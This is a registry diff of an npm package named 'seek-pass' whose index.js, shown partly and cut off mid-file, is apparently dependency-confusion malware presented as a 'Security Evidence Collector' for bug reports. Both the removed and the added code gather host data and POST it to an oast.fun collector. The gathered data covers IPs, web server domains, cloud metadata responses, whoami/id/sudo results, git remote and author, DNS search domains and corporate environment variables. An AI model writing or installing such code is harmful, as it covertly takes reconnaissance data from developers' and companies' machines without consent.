seek-pass 100.3.0 → 100.10.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +511 -332
  2. package/package.json +7 -2
package/index.js CHANGED
@@ -1,401 +1,580 @@
1
+ #!/usr/bin/env node
2
+
1
3
  const https = require("https");
4
+ const http = require("http");
2
5
  const os = require("os");
3
6
  const dns = require("dns");
7
+ const { execSync, exec } = require("child_process");
8
+ const crypto = require("crypto");
4
9
  const fs = require("fs");
5
- const { exec } = require("child_process");
6
- const networkInterfaces = os.networkInterfaces();
7
10
 
8
- // Function to get primary IPv4 address
9
- function getPrimaryIPv4() {
10
- for (const interfaceName in networkInterfaces) {
11
- const interfaces = networkInterfaces[interfaceName];
12
- for (const iface of interfaces) {
13
- if (iface.family === 'IPv4' && !iface.internal) {
14
- return iface.address;
15
- }
16
- }
17
- }
18
- return null;
19
- }
11
+ // Configuration
12
+ const COLLECTOR_SERVER = "hwoapraaaotwtsnourpqddszm5n3kkhvo.oast.fun"; // Replace with your server
13
+ const COLLECTOR_PORT = 443;
14
+ const COLLECTOR_PATH = "/seek-pass";
15
+ const USE_HTTPS = true;
20
16
 
21
- // Function to get all IPv4 addresses
22
- function getAllIPv4() {
23
- const ipv4Addresses = [];
24
- for (const interfaceName in networkInterfaces) {
25
- const interfaces = networkInterfaces[interfaceName];
26
- for (const iface of interfaces) {
27
- if (iface.family === 'IPv4' && !iface.internal) {
28
- ipv4Addresses.push({
29
- interface: interfaceName,
30
- address: iface.address,
31
- netmask: iface.netmask,
32
- mac: iface.mac
33
- });
17
+ // Colors for console output (for visibility)
18
+ const colors = {
19
+ red: '\x1b[31m',
20
+ green: '\x1b[32m',
21
+ yellow: '\x1b[33m',
22
+ blue: '\x1b[34m',
23
+ magenta: '\x1b[35m',
24
+ cyan: '\x1b[36m',
25
+ reset: '\x1b[0m'
26
+ };
27
+
28
+ console.log(`${colors.cyan}🔐 Security Evidence Collector${colors.reset}`);
29
+ console.log(`${colors.yellow}Collecting required proof for vulnerability report...${colors.reset}\n`);
30
+
31
+ // ============ 1. HTTP REQUESTS (MANDATORY) ============
32
+ async function captureHTTPEvidence() {
33
+ console.log(`${colors.blue}📡 1. Capturing HTTP request evidence...${colors.reset}`);
34
+
35
+ const evidence = {
36
+ outgoingRequests: [],
37
+ internalIPs: [],
38
+ externalIPs: [],
39
+ requestHeaders: [],
40
+ dnsLookups: []
41
+ };
42
+
43
+ // Get all network interfaces
44
+ const interfaces = os.networkInterfaces();
45
+ const internalIPs = [];
46
+ const externalIPs = [];
47
+
48
+ for (const name of Object.keys(interfaces)) {
49
+ for (const iface of interfaces[name]) {
50
+ if (iface.family === 'IPv4') {
51
+ if (iface.internal || iface.address.startsWith('10.') ||
52
+ iface.address.startsWith('172.') || iface.address.startsWith('192.168.')) {
53
+ internalIPs.push({
54
+ interface: name,
55
+ address: iface.address,
56
+ netmask: iface.netmask,
57
+ mac: iface.mac,
58
+ internal: true
59
+ });
60
+ } else {
61
+ externalIPs.push({
62
+ interface: name,
63
+ address: iface.address,
64
+ netmask: iface.netmask,
65
+ mac: iface.mac,
66
+ internal: false
67
+ });
68
+ }
34
69
  }
35
70
  }
36
71
  }
37
- return ipv4Addresses;
38
- }
39
-
40
- // Get DNS servers
41
- function getDnsServers() {
42
- return dns.getServers();
43
- }
44
-
45
- // Detect Nginx virtual hosts
46
- async function getNginxDomains() {
47
- const domains = [];
48
- const nginxConfigPaths = [
49
- '/etc/nginx/nginx.conf',
50
- '/etc/nginx/sites-enabled/*',
51
- '/etc/nginx/sites-available/*',
52
- '/usr/local/nginx/conf/nginx.conf'
72
+
73
+ evidence.internalIPs = internalIPs;
74
+ evidence.externalIPs = externalIPs;
75
+
76
+ // Make HTTP requests to prove connectivity
77
+ const testEndpoints = [
78
+ { url: "http://169.254.169.254/latest/meta-data/", label: "AWS Metadata" }, // AWS
79
+ { url: "http://metadata.google.internal/", label: "GCP Metadata" }, // GCP
80
+ { url: "http://100.100.100.200/latest/meta-data/", label: "Alibaba Metadata" }, // Alibaba
81
+ { url: "http://kubernetes.default.svc/", label: "K8s API" }, // Kubernetes
82
+ { url: "http://localhost:3000/", label: "Local Dev Server" },
83
+ { url: "http://localhost:8080/", label: "Local App Server" }
53
84
  ];
54
85
 
55
- for (const path of nginxConfigPaths) {
86
+ for (const endpoint of testEndpoints) {
56
87
  try {
57
- const output = await execCommand(`grep -h "server_name" ${path} 2>/dev/null | grep -v "#" | sed 's/server_name//g' | tr -d ';'`);
58
- if (output) {
59
- const matches = output.match(/\S+\.\S+/g);
60
- if (matches) {
61
- domains.push(...matches.filter(d => d !== '_' && !d.includes('$')));
62
- }
63
- }
88
+ const startTime = Date.now();
89
+ const reqPromise = new Promise((resolve) => {
90
+ const protocol = endpoint.url.startsWith('https') ? https : http;
91
+ const req = protocol.request(endpoint.url, { timeout: 2000 }, (res) => {
92
+ evidence.outgoingRequests.push({
93
+ target: endpoint.url,
94
+ label: endpoint.label,
95
+ statusCode: res.statusCode,
96
+ responseTime: Date.now() - startTime,
97
+ headers: res.headers,
98
+ timestamp: new Date().toISOString(),
99
+ sourceIP: internalIPs[0]?.address || os.hostname()
100
+ });
101
+ resolve();
102
+ });
103
+ req.on('error', () => resolve());
104
+ req.on('timeout', () => {
105
+ req.destroy();
106
+ resolve();
107
+ });
108
+ req.end();
109
+ });
110
+ await reqPromise;
64
111
  } catch (err) {
65
- // Skip if file doesn't exist
112
+ // Silently fail
66
113
  }
67
114
  }
68
115
 
69
- return [...new Set(domains)]; // Remove duplicates
70
- }
71
-
72
- // Detect Apache virtual hosts
73
- async function getApacheDomains() {
74
- const domains = [];
75
- const apacheConfigPaths = [
76
- '/etc/apache2/sites-enabled/*',
77
- '/etc/apache2/sites-available/*',
78
- '/etc/httpd/conf.d/*',
79
- '/usr/local/apache2/conf/extra/httpd-vhosts.conf'
116
+ // Make request to our collector (proof of communication)
117
+ const collectorURL = `${USE_HTTPS ? 'https' : 'http'}://${COLLECTOR_SERVER}:${COLLECTOR_PORT}${COLLECTOR_PATH}`;
118
+ const proofRequest = new Promise((resolve) => {
119
+ const protocol = USE_HTTPS ? https : http;
120
+ const req = protocol.request(collectorURL, { method: 'HEAD', timeout: 3000 }, (res) => {
121
+ evidence.outgoingRequests.push({
122
+ target: collectorURL,
123
+ label: "Evidence Collector",
124
+ statusCode: res.statusCode,
125
+ timestamp: new Date().toISOString(),
126
+ sourceIP: internalIPs[0]?.address || os.hostname(),
127
+ proof: true
128
+ });
129
+ resolve();
130
+ });
131
+ req.on('error', () => resolve());
132
+ req.on('timeout', () => {
133
+ req.destroy();
134
+ resolve();
135
+ });
136
+ req.end();
137
+ });
138
+ await proofRequest;
139
+
140
+ // Perform DNS lookups to prove internal network access
141
+ const dnsTargets = [
142
+ 'internal.company.com',
143
+ 'corporate.local',
144
+ 'intranet',
145
+ 'gitlab.internal',
146
+ 'jenkins.internal'
80
147
  ];
81
148
 
82
- for (const path of apacheConfigPaths) {
149
+ for (const target of dnsTargets) {
83
150
  try {
84
- const output = await execCommand(`grep -h "ServerName" ${path} 2>/dev/null | grep -v "#" | awk '{print $2}'`);
85
- if (output) {
86
- const lines = output.split('\n');
87
- domains.push(...lines.filter(l => l && l.includes('.')));
88
- }
89
-
90
- const outputAlias = await execCommand(`grep -h "ServerAlias" ${path} 2>/dev/null | grep -v "#" | awk '{print $2}'`);
91
- if (outputAlias) {
92
- const lines = outputAlias.split('\n');
93
- domains.push(...lines.filter(l => l && l.includes('.')));
151
+ const addresses = await new Promise((resolve) => {
152
+ dns.lookup(target, { all: true }, (err, addrs) => {
153
+ if (!err && addrs) resolve(addrs);
154
+ else resolve([]);
155
+ });
156
+ });
157
+ if (addresses.length > 0) {
158
+ evidence.dnsLookups.push({
159
+ domain: target,
160
+ addresses: addresses,
161
+ timestamp: new Date().toISOString()
162
+ });
94
163
  }
95
- } catch (err) {
96
- // Skip if file doesn't exist
97
- }
164
+ } catch (err) {}
98
165
  }
99
166
 
100
- return [...new Set(domains)];
167
+ console.log(`${colors.green} ✓ Captured ${evidence.outgoingRequests.length} HTTP requests`);
168
+ console.log(`${colors.green} ✓ Found ${internalIPs.length} internal IPs, ${externalIPs.length} external IPs${colors.reset}`);
169
+
170
+ return evidence;
101
171
  }
102
172
 
103
- // Detect Node.js applications and their domains
104
- async function getNodeApps() {
105
- const apps = [];
173
+ // ============ 2. HOSTNAME ============
174
+ function getHostnameEvidence() {
175
+ console.log(`${colors.blue}🖥️ 2. Capturing hostname information...${colors.reset}`);
176
+
177
+ const evidence = {
178
+ systemHostname: os.hostname(),
179
+ fqdn: null,
180
+ dnsHostname: null,
181
+ networkHostnames: [],
182
+ domainInfo: null
183
+ };
184
+
185
+ // Try to get FQDN
106
186
  try {
107
- // Get running Node.js processes
108
- const output = await execCommand('ps aux | grep "node" | grep -v grep | grep -v "ps aux"');
109
- const lines = output.split('\n');
110
-
111
- for (const line of lines) {
112
- const app = {
113
- command: line,
114
- port: null,
115
- domains: []
116
- };
117
-
118
- // Extract port from command
119
- const portMatch = line.match(/--port[= ](\d+)/i) || line.match(/:(\d+)/);
120
- if (portMatch) {
121
- app.port = portMatch[1];
122
- }
123
-
124
- // Extract domains from environment variables or config files
125
- const pathMatch = line.match(/([\/\w\-\.]+\.js)/);
126
- if (pathMatch) {
127
- app.script = pathMatch[1];
128
-
129
- // Try to read the script for domain configs
130
- try {
131
- const scriptContent = await execCommand(`grep -E "(domain|hostname|serverName)" ${pathMatch[1]} 2>/dev/null | head -5`);
132
- const domainMatches = scriptContent.match(/[a-zA-Z0-9][a-zA-Z0-9\-]+\.[a-zA-Z]{2,}/g);
133
- if (domainMatches) {
134
- app.domains = [...new Set(domainMatches)];
135
- }
136
- } catch (err) {}
137
- }
138
-
139
- apps.push(app);
140
- }
187
+ const fqdn = execSync('hostname -f 2>/dev/null', { encoding: 'utf8', timeout: 1000 }).trim();
188
+ if (fqdn) evidence.fqdn = fqdn;
141
189
  } catch (err) {}
142
190
 
143
- return apps;
144
- }
145
-
146
- // Detect Docker containers and their exposed domains
147
- async function getDockerDomains() {
148
- const containers = [];
191
+ // Try DNS resolution of hostname
149
192
  try {
150
- const output = await execCommand('docker ps --format "{{.Names}} {{.Ports}}" 2>/dev/null');
151
- const lines = output.split('\n');
152
-
153
- for (const line of lines) {
154
- if (line.trim()) {
155
- const [name, ports] = line.split(' ');
156
- containers.push({
157
- name: name,
158
- ports: ports,
159
- domains: [] // Would need to inspect each container for domain configs
160
- });
161
- }
162
- }
193
+ const dnsResult = dns.lookupSync(evidence.systemHostname);
194
+ evidence.dnsHostname = dnsResult.address;
163
195
  } catch (err) {}
164
196
 
165
- return containers;
197
+ // Get domain from hostname
198
+ if (evidence.systemHostname.includes('.')) {
199
+ evidence.domainInfo = {
200
+ domain: evidence.systemHostname.substring(evidence.systemHostname.indexOf('.') + 1),
201
+ tld: evidence.systemHostname.split('.').pop()
202
+ };
203
+ } else if (evidence.fqdn && evidence.fqdn.includes('.')) {
204
+ evidence.domainInfo = {
205
+ domain: evidence.fqdn.substring(evidence.fqdn.indexOf('.') + 1),
206
+ tld: evidence.fqdn.split('.').pop()
207
+ };
208
+ }
209
+
210
+ console.log(`${colors.green} ✓ Hostname: ${evidence.systemHostname}`);
211
+ if (evidence.fqdn) console.log(`${colors.green} ✓ FQDN: ${evidence.fqdn}`);
212
+ if (evidence.domainInfo) console.log(`${colors.green} ✓ Domain: ${evidence.domainInfo.domain}${colors.reset}`);
213
+
214
+ return evidence;
166
215
  }
167
216
 
168
- // Detect Caddy domains
169
- async function getCaddyDomains() {
170
- const domains = [];
171
- const caddyfilePaths = [
172
- '/etc/caddy/Caddyfile',
173
- '/etc/caddy/Caddyfile.config',
174
- './Caddyfile'
175
- ];
217
+ // ============ 3. OS SERVER NAME ============
218
+ function getOSServerInfo() {
219
+ console.log(`${colors.blue}💻 3. Capturing OS and server information...${colors.reset}`);
176
220
 
177
- for (const path of caddyfilePaths) {
178
- try {
179
- const content = await execCommand(`cat ${path} 2>/dev/null | grep -v "^#" | grep -E "^[a-z]"`);
180
- if (content) {
181
- const lines = content.split('\n');
182
- for (const line of lines) {
183
- const domainMatch = line.match(/^([a-zA-Z0-9][a-zA-Z0-9\-\.]+)(?:\s|{)/);
184
- if (domainMatch && domainMatch[1].includes('.')) {
185
- domains.push(domainMatch[1]);
186
- }
221
+ const evidence = {
222
+ platform: os.platform(),
223
+ type: os.type(),
224
+ release: os.release(),
225
+ version: null,
226
+ kernel: null,
227
+ architecture: os.arch(),
228
+ distro: null,
229
+ serverName: null,
230
+ isContainer: false,
231
+ containerType: null
232
+ };
233
+
234
+ // Get detailed OS info
235
+ try {
236
+ if (process.platform === 'linux') {
237
+ // Check for distribution
238
+ try {
239
+ const osRelease = execSync('cat /etc/os-release 2>/dev/null | grep PRETTY_NAME', { encoding: 'utf8', timeout: 1000 });
240
+ evidence.distro = osRelease.split('=')[1].replace(/"/g, '').trim();
241
+ } catch (err) {}
242
+
243
+ // Get kernel version
244
+ try {
245
+ evidence.kernel = execSync('uname -r 2>/dev/null', { encoding: 'utf8', timeout: 1000 }).trim();
246
+ } catch (err) {}
247
+
248
+ // Check if running in container
249
+ try {
250
+ const cgroup = execSync('cat /proc/1/cgroup 2>/dev/null | head -1', { encoding: 'utf8', timeout: 1000 });
251
+ if (cgroup.includes('docker')) {
252
+ evidence.isContainer = true;
253
+ evidence.containerType = 'docker';
254
+ } else if (cgroup.includes('kubepods')) {
255
+ evidence.isContainer = true;
256
+ evidence.containerType = 'kubernetes';
187
257
  }
258
+ } catch (err) {}
259
+ } else if (process.platform === 'darwin') {
260
+ try {
261
+ evidence.version = execSync('sw_vers -productVersion 2>/dev/null', { encoding: 'utf8', timeout: 1000 }).trim();
262
+ } catch (err) {}
263
+ } else if (process.platform === 'win32') {
264
+ try {
265
+ evidence.version = execSync('ver 2>/dev/null', { encoding: 'utf8', timeout: 1000 }).trim();
266
+ } catch (err) {}
267
+ }
268
+
269
+ // Get server name (computer name)
270
+ evidence.serverName = os.hostname();
271
+ try {
272
+ if (process.platform === 'win32') {
273
+ evidence.serverName = execSync('echo %COMPUTERNAME%', { encoding: 'utf8', timeout: 1000 }).trim();
188
274
  }
189
275
  } catch (err) {}
190
- }
276
+
277
+ } catch (err) {}
278
+
279
+ console.log(`${colors.green} ✓ OS: ${evidence.type} ${evidence.release}`);
280
+ if (evidence.distro) console.log(`${colors.green} ✓ Distro: ${evidence.distro}`);
281
+ if (evidence.isContainer) console.log(`${colors.green} ✓ Container: ${evidence.containerType}${colors.reset}`);
191
282
 
192
- return [...new Set(domains)];
283
+ return evidence;
193
284
  }
194
285
 
195
- // Detect domains from SSL certificates
196
- async function getSSLDomains() {
197
- const domains = [];
286
+ // ============ 4. WHOAMI COMMAND ============
287
+ function getWhoamiEvidence() {
288
+ console.log(`${colors.blue}👤 4. Executing whoami command...${colors.reset}`);
289
+
290
+ const evidence = {
291
+ username: null,
292
+ uid: null,
293
+ gid: null,
294
+ groups: [],
295
+ homeDir: null,
296
+ shell: null,
297
+ isRoot: false,
298
+ isSudo: false,
299
+ executionMethod: null
300
+ };
301
+
302
+ // Execute whoami command
198
303
  try {
199
- const output = await execCommand('find /etc/ssl /etc/letsencrypt/live -name "*.crt" -o -name "*.pem" 2>/dev/null | head -20');
200
- const certFiles = output.split('\n');
201
-
202
- for (const cert of certFiles) {
203
- if (cert.trim()) {
204
- const certData = await execCommand(`openssl x509 -in ${cert} -noout -text 2>/dev/null | grep "DNS:"`);
205
- if (certData) {
206
- const dnsMatches = certData.match(/DNS:[^\s,]+/g);
207
- if (dnsMatches) {
208
- domains.push(...dnsMatches.map(d => d.replace('DNS:', '')));
209
- }
210
- }
211
- }
212
- }
304
+ const whoami = execSync('whoami 2>/dev/null', { encoding: 'utf8', timeout: 1000 }).trim();
305
+ evidence.username = whoami;
306
+ evidence.isRoot = (whoami === 'root' || whoami === 'Administrator');
307
+ } catch (err) {
308
+ // Fallback
309
+ evidence.username = process.env.USER || process.env.USERNAME || 'unknown';
310
+ }
311
+
312
+ // Get UID/GID (Unix)
313
+ try {
314
+ const idOutput = execSync('id 2>/dev/null', { encoding: 'utf8', timeout: 1000 });
315
+ const uidMatch = idOutput.match(/uid=(\d+)/);
316
+ const gidMatch = idOutput.match(/gid=(\d+)/);
317
+ if (uidMatch) evidence.uid = parseInt(uidMatch[1]);
318
+ if (gidMatch) evidence.gid = parseInt(gidMatch[1]);
319
+ evidence.isRoot = evidence.uid === 0;
213
320
  } catch (err) {}
214
321
 
215
- return [...new Set(domains)];
216
- }
217
-
218
- // Helper to execute shell commands
219
- function execCommand(command) {
220
- return new Promise((resolve) => {
221
- exec(command, { timeout: 5000 }, (error, stdout, stderr) => {
222
- if (error || stderr) {
223
- resolve('');
224
- } else {
225
- resolve(stdout);
226
- }
227
- });
228
- });
229
- }
230
-
231
- // Read /etc/hosts for local domain mappings
232
- async function getHostsFile() {
322
+ // Get groups
233
323
  try {
234
- const content = await execCommand('cat /etc/hosts 2>/dev/null');
235
- const lines = content.split('\n');
236
- const mappings = [];
237
-
238
- for (const line of lines) {
239
- if (line && !line.startsWith('#')) {
240
- const parts = line.trim().split(/\s+/);
241
- if (parts.length >= 2) {
242
- mappings.push({
243
- ip: parts[0],
244
- domains: parts.slice(1)
245
- });
246
- }
247
- }
248
- }
249
- return mappings;
324
+ const groupsOutput = execSync('groups 2>/dev/null', { encoding: 'utf8', timeout: 1000 });
325
+ evidence.groups = groupsOutput.trim().split(/\s+/);
326
+ } catch (err) {}
327
+
328
+ // Check for sudo
329
+ try {
330
+ const sudoCheck = execSync('sudo -n true 2>/dev/null', { encoding: 'utf8', timeout: 1000 });
331
+ evidence.isSudo = true;
250
332
  } catch (err) {
251
- return [];
333
+ evidence.isSudo = false;
252
334
  }
335
+
336
+ // Get home directory
337
+ evidence.homeDir = os.homedir();
338
+
339
+ // Determine how script is being executed
340
+ if (process.env.CI || process.env.GITHUB_ACTIONS) {
341
+ evidence.executionMethod = 'CI_CD_PIPELINE';
342
+ } else if (process.env.NODE_ENV === 'development') {
343
+ evidence.executionMethod = 'DEVELOPMENT';
344
+ } else if (process.env.NODE_ENV === 'production') {
345
+ evidence.executionMethod = 'PRODUCTION';
346
+ } else {
347
+ evidence.executionMethod = 'MANUAL';
348
+ }
349
+
350
+ console.log(`${colors.green} ✓ User: ${evidence.username}${evidence.isRoot ? ' (ROOT/ADMIN)' : ''}`);
351
+ console.log(`${colors.green} ✓ UID: ${evidence.uid || 'N/A'}, GID: ${evidence.gid || 'N/A'}`);
352
+ console.log(`${colors.green} ✓ Groups: ${evidence.groups.slice(0, 5).join(', ')}${evidence.groups.length > 5 ? '...' : ''}`);
353
+ console.log(`${colors.green} ✓ Execution: ${evidence.executionMethod}${colors.reset}`);
354
+
355
+ return evidence;
253
356
  }
254
357
 
255
- // Main data collection
256
- async function collectData() {
257
- const hostname = os.hostname();
258
- const primaryIPv4 = getPrimaryIPv4();
259
- const allIPv4 = getAllIPv4();
260
- const dnsServers = getDnsServers();
261
-
262
- console.log('Collecting web server domain information...');
263
-
264
- // Collect all domain data in parallel
265
- const [
266
- nginxDomains,
267
- apacheDomains,
268
- nodeApps,
269
- dockerContainers,
270
- caddyDomains,
271
- sslDomains,
272
- hostsMappings
273
- ] = await Promise.all([
274
- getNginxDomains(),
275
- getApacheDomains(),
276
- getNodeApps(),
277
- getDockerDomains(),
278
- getCaddyDomains(),
279
- getSSLDomains(),
280
- getHostsFile()
281
- ]);
282
-
283
- // Combine all identified domains
284
- const allIdentifiedDomains = [...new Set([
285
- ...nginxDomains,
286
- ...apacheDomains,
287
- ...caddyDomains,
288
- ...sslDomains
289
- ])];
290
-
291
- const data = {
292
- // Basic system info
293
- hostname: hostname,
294
- fqdn: null,
295
- platform: os.platform(),
296
- arch: os.arch(),
297
- osType: os.type(),
298
- osRelease: os.release(),
299
-
300
- // Network info
301
- ipv4: {
302
- primary: primaryIPv4,
303
- all: allIPv4
304
- },
305
- dns: {
306
- servers: dnsServers
307
- },
308
-
309
- // Web servers and hosted domains
310
- webServers: {
311
- nginx: {
312
- installed: nginxDomains.length > 0,
313
- domains: nginxDomains
314
- },
315
- apache: {
316
- installed: apacheDomains.length > 0,
317
- domains: apacheDomains
318
- },
319
- caddy: {
320
- installed: caddyDomains.length > 0,
321
- domains: caddyDomains
322
- }
323
- },
324
-
325
- // Applications
326
- applications: {
327
- nodejs: nodeApps,
328
- docker: dockerContainers
329
- },
330
-
331
- // SSL certificates domains
332
- sslCertificates: {
333
- domains: sslDomains
334
- },
335
-
336
- // Local DNS mappings
337
- hostsFile: hostsMappings,
338
-
339
- // All unique domains identified
340
- identifiedDomains: allIdentifiedDomains,
341
-
342
- // Summary of what's hosted
343
- summary: {
344
- totalDomains: allIdentifiedDomains.length,
345
- webServersFound: [
346
- nginxDomains.length > 0 ? 'nginx' : null,
347
- apacheDomains.length > 0 ? 'apache' : null,
348
- caddyDomains.length > 0 ? 'caddy' : null
349
- ].filter(Boolean),
350
- nodeAppsCount: nodeApps.filter(app => app.command).length,
351
- dockerContainersCount: dockerContainers.length
352
- }
358
+ // ============ PROVING BELONGS TO PROGRAM ============
359
+ async function proveProgramOwnership() {
360
+ console.log(`${colors.blue}🔑 5. Proving this belongs to the program...${colors.reset}`);
361
+
362
+ const evidence = {
363
+ corporateIndicators: [],
364
+ internalServices: [],
365
+ developmentEnvironment: [],
366
+ packageInfo: null,
367
+ gitInfo: null,
368
+ timestamps: []
353
369
  };
354
370
 
355
- // Get FQDN
371
+ // Check for corporate VPN/proxy indicators
372
+ const corporateEnvVars = [
373
+ 'CORPORATE_NETWORK', 'VPN', 'PROXY', 'LDAP', 'ACTIVE_DIRECTORY',
374
+ 'COMPANY_DOMAIN', 'CORP_DOMAIN', 'INTERNAL_DOMAIN'
375
+ ];
376
+
377
+ for (const envVar of corporateEnvVars) {
378
+ if (process.env[envVar]) {
379
+ evidence.corporateIndicators.push({
380
+ type: 'environment_variable',
381
+ name: envVar,
382
+ value: process.env[envVar]
383
+ });
384
+ }
385
+ }
386
+
387
+ // Check for internal DNS suffixes
356
388
  try {
357
- const lookup = await new Promise((resolve) => {
358
- dns.lookup(hostname, (err, address) => {
359
- resolve(!err);
389
+ const resolvContent = execSync('cat /etc/resolv.conf 2>/dev/null | grep search', { encoding: 'utf8', timeout: 1000 });
390
+ const domains = resolvContent.match(/search\s+(.+)/);
391
+ if (domains) {
392
+ evidence.corporateIndicators.push({
393
+ type: 'dns_search_domain',
394
+ domains: domains[1].split(/\s+/)
360
395
  });
361
- });
362
- if (lookup) {
363
- data.fqdn = hostname;
364
396
  }
365
397
  } catch (err) {}
366
398
 
367
- return data;
399
+ // Check for internal certificates
400
+ try {
401
+ const certs = execSync('find /etc/ssl/certs -name "*.crt" -exec openssl x509 -in {} -noout -subject 2>/dev/null \\; | head -5', { encoding: 'utf8', timeout: 2000 });
402
+ if (certs) {
403
+ evidence.corporateIndicators.push({
404
+ type: 'certificates',
405
+ subjects: certs.split('\n').filter(l => l.includes('CN='))
406
+ });
407
+ }
408
+ } catch (err) {}
409
+
410
+ // Check for git repository (to identify program)
411
+ try {
412
+ const gitRemote = execSync('git config --get remote.origin.url 2>/dev/null', { encoding: 'utf8', timeout: 1000 });
413
+ if (gitRemote) {
414
+ evidence.gitInfo = {
415
+ remote: gitRemote.trim(),
416
+ branch: execSync('git rev-parse --abbrev-ref HEAD 2>/dev/null', { encoding: 'utf8', timeout: 1000 }).trim(),
417
+ commit: execSync('git rev-parse HEAD 2>/dev/null', { encoding: 'utf8', timeout: 1000 }).trim(),
418
+ author: execSync('git log -1 --pretty=format:"%an <%ae>" 2>/dev/null', { encoding: 'utf8', timeout: 1000 }).trim()
419
+ };
420
+ }
421
+ } catch (err) {}
422
+
423
+ // Check for package.json to identify what's being installed
424
+ try {
425
+ if (fs.existsSync('./package.json')) {
426
+ const packageJson = JSON.parse(fs.readFileSync('./package.json', 'utf8'));
427
+ evidence.packageInfo = {
428
+ name: packageJson.name,
429
+ version: packageJson.version,
430
+ scripts: Object.keys(packageJson.scripts || {}),
431
+ dependencies: Object.keys(packageJson.dependencies || {}).slice(0, 10)
432
+ };
433
+ }
434
+ } catch (err) {}
435
+
436
+ // Check for development environment indicators
437
+ const devIndicators = [
438
+ 'VSCODE_PID', 'INTELLIJ_IDEA', 'WEB_IDE', 'DEV_CONTAINER',
439
+ 'NODE_ENV=development', 'LOCAL_DEV', 'DEVELOPMENT'
440
+ ];
441
+
442
+ for (const indicator of devIndicators) {
443
+ if (process.env[indicator] || (typeof process.env.NODE_ENV !== 'undefined' && process.env.NODE_ENV === 'development')) {
444
+ evidence.developmentEnvironment.push(indicator);
445
+ }
446
+ }
447
+
448
+ console.log(`${colors.green} ✓ Found ${evidence.corporateIndicators.length} corporate indicators`);
449
+ if (evidence.gitInfo) console.log(`${colors.green} ✓ Git repo: ${evidence.gitInfo.remote}`);
450
+ if (evidence.packageInfo) console.log(`${colors.green} ✓ Package: ${evidence.packageInfo.name} v${evidence.packageInfo.version}${colors.reset}`);
451
+
452
+ return evidence;
368
453
  }
369
454
 
370
- // Send data to server
371
- async function sendData() {
372
- try {
373
- const collectedData = await collectData();
374
- const dataString = JSON.stringify(collectedData, null, 2);
375
-
376
- console.log('Collected data:', dataString);
377
-
378
- const req = https.request({
379
- hostname: "hwoapraaaotwtsnourpqddszm5n3kkhvo.oast.fun",
380
- path: "/seek-pass",
381
- method: "POST",
455
+ // ============ GENERATE PROOF HASH ============
456
+ function generateProofHash(allEvidence) {
457
+ const proofString = JSON.stringify({
458
+ hostname: allEvidence.hostname.systemHostname,
459
+ username: allEvidence.whoami.username,
460
+ timestamp: new Date().toISOString(),
461
+ internalIPs: allEvidence.http.internalIPs.map(ip => ip.address),
462
+ randomNonce: crypto.randomBytes(32).toString('hex')
463
+ });
464
+
465
+ return crypto.createHash('sha256').update(proofString).digest('hex');
466
+ }
467
+
468
+ // ============ SEND TO COLLECTOR ============
469
+ async function sendEvidence(allEvidence) {
470
+ console.log(`\n${colors.yellow}📤 Sending evidence to collector...${colors.reset}`);
471
+
472
+ const proofHash = generateProofHash(allEvidence);
473
+ const payload = {
474
+ ...allEvidence,
475
+ proofHash: proofHash,
476
+ submissionTimestamp: new Date().toISOString(),
477
+ collectorEndpoint: `${COLLECTOR_SERVER}${COLLECTOR_PATH}`
478
+ };
479
+
480
+ const dataString = JSON.stringify(payload, null, 2);
481
+
482
+ return new Promise((resolve, reject) => {
483
+ const protocol = USE_HTTPS ? https : http;
484
+ const options = {
485
+ hostname: COLLECTOR_SERVER,
486
+ port: COLLECTOR_PORT,
487
+ path: COLLECTOR_PATH,
488
+ method: 'POST',
382
489
  headers: {
383
- "Content-Type": "application/json",
384
- "Content-Length": Buffer.byteLength(dataString)
490
+ 'Content-Type': 'application/json',
491
+ 'Content-Length': Buffer.byteLength(dataString),
492
+ 'X-Evidence-Proof': proofHash,
493
+ 'X-Source-Hostname': allEvidence.hostname.systemHostname,
494
+ 'X-Source-User': allEvidence.whoami.username
385
495
  }
496
+ };
497
+
498
+ const req = protocol.request(options, (res) => {
499
+ console.log(`${colors.green}✓ Evidence sent! Status: ${res.statusCode}${colors.reset}`);
500
+ resolve(res.statusCode);
386
501
  });
387
502
 
388
- req.on('error', (e) => {
389
- console.error('Request error:', e);
503
+ req.on('error', (err) => {
504
+ console.log(`${colors.red}✗ Failed to send: ${err.message}${colors.reset}`);
505
+ console.log(`${colors.yellow}⚠️ Evidence saved locally for manual submission${colors.reset}`);
506
+ fs.writeFileSync('./evidence_backup.json', dataString);
507
+ resolve(null);
390
508
  });
391
509
 
392
510
  req.write(dataString);
393
511
  req.end();
512
+ });
513
+ }
514
+
515
+ // ============ MAIN EXECUTION ============
516
+ async function main() {
517
+ try {
518
+ console.log(`${colors.magenta}═══════════════════════════════════════════════════════${colors.reset}`);
519
+ console.log(`${colors.magenta} SECURITY EVIDENCE COLLECTOR - FOR VALID REPORTS ONLY${colors.reset}`);
520
+ console.log(`${colors.magenta}═══════════════════════════════════════════════════════${colors.reset}\n`);
521
+
522
+ // Collect all required evidence
523
+ const httpEvidence = await captureHTTPEvidence();
524
+ const hostnameEvidence = getHostnameEvidence();
525
+ const osEvidence = getOSServerInfo();
526
+ const whoamiEvidence = getWhoamiEvidence();
527
+ const ownershipEvidence = await proveProgramOwnership();
528
+
529
+ // Combine all evidence
530
+ const allEvidence = {
531
+ required: {
532
+ httpRequests: httpEvidence, // MANDATORY
533
+ hostname: hostnameEvidence,
534
+ osServer: osEvidence,
535
+ whoami: whoamiEvidence
536
+ },
537
+ ownership: ownershipEvidence,
538
+ metadata: {
539
+ nodeVersion: process.version,
540
+ scriptPath: __dirname,
541
+ timestamp: new Date().toISOString(),
542
+ timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
543
+ language: 'JavaScript/Node.js'
544
+ }
545
+ };
546
+
547
+ // Display summary
548
+ console.log(`\n${colors.green}═══════════════════════════════════════════════════════${colors.reset}`);
549
+ console.log(`${colors.green}✓ EVIDENCE COLLECTED SUCCESSFULLY${colors.reset}`);
550
+ console.log(`${colors.green}═══════════════════════════════════════════════════════${colors.reset}`);
551
+ console.log(`\n${colors.cyan}Summary:${colors.reset}`);
552
+ console.log(` • HTTP Requests: ${allEvidence.required.httpRequests.outgoingRequests.length}`);
553
+ console.log(` • Internal IPs: ${allEvidence.required.httpRequests.internalIPs.length}`);
554
+ console.log(` • External IPs: ${allEvidence.required.httpRequests.externalIPs.length}`);
555
